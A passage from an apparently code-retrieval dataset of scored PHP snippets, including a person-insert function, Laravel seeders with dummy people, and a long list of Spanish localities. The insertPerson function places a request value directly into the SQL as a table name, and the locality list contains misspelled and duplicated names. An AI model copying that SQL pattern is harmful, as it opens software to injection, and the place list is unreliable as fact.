$lang){\n $person->setCulture($lang);\n\t $person->setHonorific(trim($h.' '.$person->getHonorific()));\n\t $person->save();\n }\n\t}\n }\n }\n\n $this->msg_alert = array('info', $this->getContext()->getI18N()->__(\"Campos honoríficos separados correctamente.\"));\n return $this->renderComponent('persons', 'list');\n }", "title": "" }, { "docid": "828779a7da29ab31b0f5fda2769da9f6", "score": "0.45026374", "text": "public function insertPerson($request) {\n\n //generate ID\n if(!isset($request['id'])){$request['id'] = $this->token->new_id('per');}\n\n $columns = \"\";\n if(isset($request['id'])){$columns.=\"person_id,\";}\n if(isset($request['attributes'])){$columns.=\"person_attributes,\";}\n if(isset($request['name_first'])){$columns.=\"person_name_first,\";}\n if(isset($request['name_middle'])){$columns.=\"person_name_middle,\";}\n if(isset($request['name_last'])){$columns.=\"person_name_last,\";}\n if(isset($request['email'])){$columns.=\"person_email,\";}\n if(isset($request['phone_primary'])){$columns.=\"person_phone_primary,\";}\n if(isset($request['phone_secondary'])){$columns.=\"person_phone_secondary,\";}\n if(isset($request['entitlements'])){$columns.=\"person_entitlements,\";}\n $columns.= \"app_id,\";\n $columns.= \"event_id,\";\n $columns.= \"process_id\";\n\n $values = \"\";\n if(isset($request['id'])){$values.=\":person_id,\";}\n if(isset($request['attributes'])){$values.=\":person_attributes,\";}\n if(isset($request['name_first'])){$values.=\":person_name_first,\";}\n if(isset($request['name_middle'])){$values.=\":person_name_middle,\";}\n if(isset($request['name_last'])){$values.=\":person_name_last,\";}\n if(isset($request['email'])){$values.=\":person_email,\";}\n if(isset($request['phone_primary'])){$values.=\":person_phone_primary,\";}\n if(isset($request['phone_secondary'])){$values.=\":person_phone_secondary,\";}\n if(isset($request['entitlements'])){$values.=\":person_entitlements,\";}\n $values.= \":app_id,\";\n $values.= \":event_id,\";\n $values.= \":process_id\";\n\n // prepare statement for insert\n $sql = \"INSERT INTO {$request['domain']} (\";\n $sql.= $columns;\n $sql.= \") VALUES (\";\n $sql.= $values;\n $sql.= \")\";\n $sql.= \" RETURNING \" . prefixed($request['domain']) . \"_id\";\n \n //\n $statement = $this->pdo->prepare($sql);\n \n // pass values to the statement\n if(isset($request['id'])){$statement->bindValue('person_id',$request['id']);}\n if(isset($request['attributes'])){$statement->bindValue('person_attributes',$request['attributes']);}\n if(isset($request['name_first'])){$statement->bindValue('person_name_first',$request['name_first']);}\n if(isset($request['name_middle'])){$statement->bindValue('person_name_middle',$request['name_middle']);}\n if(isset($request['name_last'])){$statement->bindValue('person_name_last',$request['name_last']);}\n if(isset($request['email'])){$statement->bindValue('person_email',$request['email']);}\n if(isset($request['phone_primary'])){$statement->bindValue('person_phone_primary',$request['phone_primary']);}\n if(isset($request['phone_secondary'])){$statement->bindValue('person_phone_secondary',$request['phone_secondary']);}\n if(isset($request['entitlements'])){$statement->bindValue('person_entitlements',$request['entitlements']);}\n $statement->bindValue(':app_id', $request['app']);\n $statement->bindValue(':event_id', $this->token->event_id());\n $statement->bindValue(':process_id', $this->token->process_id());\n \n // execute the insert statement\n $statement->execute();\n\n $data = $statement->fetchAll();\n \n //echo json_encode($data);\n //echo json_encode($data);\n //echo json_encode($data[0]);\n //echo json_encode($data[0]['person_id']);\n $data = $data[0]['person_id'];\n\n return $data;\n\n // return generated id\n //return $this->pdo->lastInsertId('persons_sequence');\n //return $this->pdo->selectPersons('persons_sequence');\n \n }", "title": "" }, { "docid": "d9eeef8d3f62b03d80324e17fe1b3813", "score": "0.45015207", "text": "private function saveAmavisServerNamesToDatabase() : void {\n $amavisServerModel = new AmavisServerModel();\n foreach ($this->amavisServerCollection->all() as $amavisServer) {\n $serverName = $amavisServer->getName();\n $serverExists = $amavisServerModel->entryExists([\n \"name\" => $serverName\n ]);\n if (!$serverExists)\n $amavisServerModel->create([\n \"name\" => $serverName\n ]);\n }\n }", "title": "" }, { "docid": "39d867d187e6fc9d56b3b8814d2ca889", "score": "0.45006117", "text": "public function run()\n {\n Person::create([\n 'person_oib' => '55334569743',\n 'person_firstName' => 'Karlo',\n 'person_lastName' => 'Majer',\n 'person_sex' => 'm',\n 'person_dob' => '1996-11-24',\n 'person_telephone' => '0842395384',\n 'person_email' => '[email protected]',\n 'person_address' => 'Adresa abcdefgh 63',\n 'city_id' => 1\n ]);\n\n Person::create([\n 'person_oib' => '00053239451',\n 'person_firstName' => 'Test1',\n 'person_lastName' => 'Testtest',\n 'person_sex' => 'm',\n 'person_dob' => '1995-12-08',\n 'person_telephone' => '0832331000',\n 'person_email' => '[email protected]',\n 'person_address' => 'dfsdh 7',\n 'city_id' => 2\n ]);\n\n Person::create([\n 'person_oib' => '39238423450',\n 'person_firstName' => 'Test2',\n 'person_lastName' => 'DSfsfdgd',\n 'person_sex' => 'f',\n 'person_dob' => '1936-01-04',\n 'person_telephone' => '0832823004',\n 'person_email' => '[email protected]',\n 'person_address' => 'Dkfdskf skdfsidfjki 23',\n 'city_id' => 1\n ]);\n }", "title": "" }, { "docid": "07ceaa41abaa37d8978c2d0e407ecfa6", "score": "0.4486093", "text": "public function run()\n {\n DB::table('localities')->insert([\n ['nombre' => 'Angres',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Alcoy',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Alicante',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Benidorm',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Benisa',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Calpe',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Callosa de Segura',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Alcoy',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Denia',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Alcoy',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Crevillente',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Torrevieja',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Villena',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Sant Pola',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Pego',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Ibi',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Javea',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Elche',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Denia',\n 'idProvincia' => 1,\n ],\n ['nombre' => 'Albacete',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Alcaraz',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Alcala del Jucar',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Carcelen',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Nerpio',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Peñosca',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Villamalea',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Almansa',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Petrola',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Socovos',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Madrigueras',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Cilanco',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Ferez',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Fuensanta',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Alcoy',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Munera',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Motilleja',\n 'idProvincia' => 2,\n ],\n ['nombre' => 'Dalias',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Fondon',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Mojacar',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Chercos',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Albix',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Macael',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Huechar',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Almeria',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Beninar',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Chercos',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Matagorda',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Vicar',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Albox',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Laroya',\n 'idProvincia' => 3,\n ],\n ['nombre' => 'Navia',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Corvera',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Noreña',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Tineo',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Covera',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Castropol',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Morcin',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Navia',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Castro',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Corvera',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Asturias',\n 'idProvincia' => 4,\n ],\n ['nombre' => 'Arevalo',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'La Adrada',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Navarrevisca',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Piedrahita',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Bohoyo',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Cisla',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Balbara',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Blancha',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'El Tiemblo',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Avila',\n 'idProvincia' => 5,\n ],\n ['nombre' => 'Barcelona',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Argentona',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Berga',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Castellar del Valles',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Cornellá del Llobregat',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Hospitaler del Llobregat',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Manlleu',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Mollet',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Molins',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Sitges',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Gava',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Parets',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Vich',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Reus',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Parents',\n 'idProvincia' => 6,\n ],\n ['nombre' => 'Burgos',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Burgos',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Bricia',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Caroz',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Neila',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Mena',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Medina',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Tobalina',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Urbel',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Valdeperros',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Lerma',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Carazo',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Brivies',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Lerma',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Huerta del Rey',\n 'idProvincia' => 7,\n ],\n ['nombre' => 'Roa',\n 'idProvincia' => 7,\n ],\n\n ['nombre' => 'Caceres',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Abadia',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Acebo',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Alia',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Barrado',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Jaraicejo',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Jadrillo',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Romangordo',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Pescueza',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Belvis',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Mijadas',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Moraleja',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Villamiel',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Valdecañas',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Coria',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Cilleros',\n 'idProvincia' => 8,\n ],\n ['nombre' => 'Cadiz',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Akgar',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Barbete',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'El GAstor',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Medina Didonia',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Paterna de Rivera',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Los Barrios',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Ubrique',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Rota',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Espera',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Algeciras',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Algar',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Chipiona',\n 'idProvincia' => 9,\n ],\n ['nombre' => 'Castellon',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Alcala',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Argelita',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Herbes',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Jérica',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'La Llosa',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Sot',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Soneja',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Segorbe',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Sot de Ferer',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Torrechiva',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Bechi',\n 'idProvincia' => 10,\n ],\n ['nombre' => 'Gerona',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Amer',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Juya',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Gorguja',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Rabos',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Rupia',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Ruimors',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Amer',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Alp',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Calabuig',\n 'idProvincia' => 11,\n ],\n ['nombre' => 'Granada',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Baza',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Afarte',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Galera',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Piñar',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Nivar',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Dilar',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Hueneja',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Lucar',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Marchal',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Trevelez',\n 'idProvincia' => 12,\n ],\n ['nombre' => 'Huelva',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Cartaya',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Lepe',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'San Silvestre',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Puerto Moral',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Galaroza',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Aroche',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Beas',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Alosno',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Alajar',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Fuenteheridos',\n 'idProvincia' => 13,\n ],\n ['nombre' => 'Jaen',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Huelma',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Jamilea',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Jodar',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Linares',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Quesada',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Begijar',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Cambil',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Mancha Real',\n 'idProvincia' => 14,\n ],\n ['nombre' => 'Lugo',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Baralla',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Cervantes',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Sober',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Abadin',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Burrela',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Pol',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Sarria',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Gutin',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Alfoz',\n 'idProvincia' => 15,\n ],\n ['nombre' => 'Leon',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Algadefe',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Almanza',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Ardon',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Fabero',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Sabero',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Izagre',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'Borrences',\n 'idProvincia' => 16,\n ],\n ['nombre' => 'La Coruña',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Ames',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Ames',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Capela',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Lousame',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Moeche',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Somozas',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Toques',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Padron',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Outes',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Satiso',\n 'idProvincia' => 17,\n ],\n ['nombre' => 'Madrid',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Alcala de Henares',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Alcorcon',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Batres',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Loeches',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Puentes Viejas',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Leganes',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Alpedrete',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Berruco',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Santrocaz',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'El Escorial',\n 'idProvincia' => 18,\n ],\n ['nombre' => 'Malaga',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Alcuacin',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Benaojo',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Ronda',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Ojen',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Casares',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'El Borge',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Gaucin',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Teba',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Tolox',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Torrox',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Olias',\n 'idProvincia' => 19,\n ],\n ['nombre' => 'Navarra',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Garralda',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Peralta',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Ciriza',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Gesa',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Pitillas',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Atez',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Ace',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Araiz',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Allin',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Odieta',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Olaibar',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Cortes',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Garralda',\n 'idProvincia' => 20,\n ],\n ['nombre' => 'Palencia',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Alar de Rey',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Loma de Ucieza',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Triollo',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Torquemada',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Saldaña',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Mantinos',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Permia',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Fromisa',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Palenzuela',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Paredes de Nava',\n 'idProvincia' => 21,\n ],\n ['nombre' => 'Pontevedra',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Golada',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Gondomar',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Lalin',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Forcarey',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Oya',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Valga',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Vilaboa',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Silleada',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Rodeiro',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Poyo',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Portas',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Bueu',\n 'idProvincia' => 22,\n ],\n ['nombre' => 'Soria',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Adrdadas',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Peñas',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Alrmanza',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'FuentePilla',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Garray',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Golmayo',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Gomara',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Reznos',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Retortillo',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Quiñoneria',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Gormaz',\n 'idProvincia' => 23,\n ],\n ['nombre' => 'Sevilla',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Alanis',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Camas',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Carmona',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Estepa',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Guillena',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Paradas',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Santiponce',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Tocina',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Tomares',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Utrera',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Umbrete',\n 'idProvincia' => 24,\n ],\n ['nombre' => 'Teruel',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Alcañiz',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Aba',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Alacon',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Ejulve',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'El Pobo',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Olba',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Orrios',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Rafaeles',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Rillo',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Riodeva',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Sarrion',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Tormon',\n 'idProvincia' => 25,\n ],\n ['nombre' => 'Toledo',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Camuñas',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Mazarambroz',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Talavera de la Reina',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Villacañas',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Parillas',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Polan',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Pulsar',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Quero',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Huevas',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Gerindote',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Arges',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Almorox',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Fuensalida',\n 'idProvincia' => 26,\n ],\n ['nombre' => 'Valencia',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Ademuz',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Lliria',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Meliana',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Paiporta',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Torrent',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Picanya',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Xativa',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Paterna',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Manises',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Sedavi',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Rocafort',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Fuente del hierro',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Daimuz',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Alfafar',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Aldaya',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Ayora',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Barig',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Cullera',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Mislata',\n 'idProvincia' => 27,\n ],\n ['nombre' => 'Zaragoza',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Alpartir',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Aniñon',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Zaragoza',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Fayon',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Mores',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Moros',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Murero',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Moneva',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Mara',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Alborge',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Badules',\n 'idProvincia' => 28,\n ],\n ['nombre' => 'Barboles',\n 'idProvincia' => 28,\n ],\n\n ]);\n }", "title": "" }, { "docid": "66de22e2fa830b1613a630cfc5e1d197", "score": "0.4484297", "text": "private function setUpPerson($people, $film_id){\n $this->person = [\n 'id' => $people->Id,\n 'filmid' => $film_id,\n 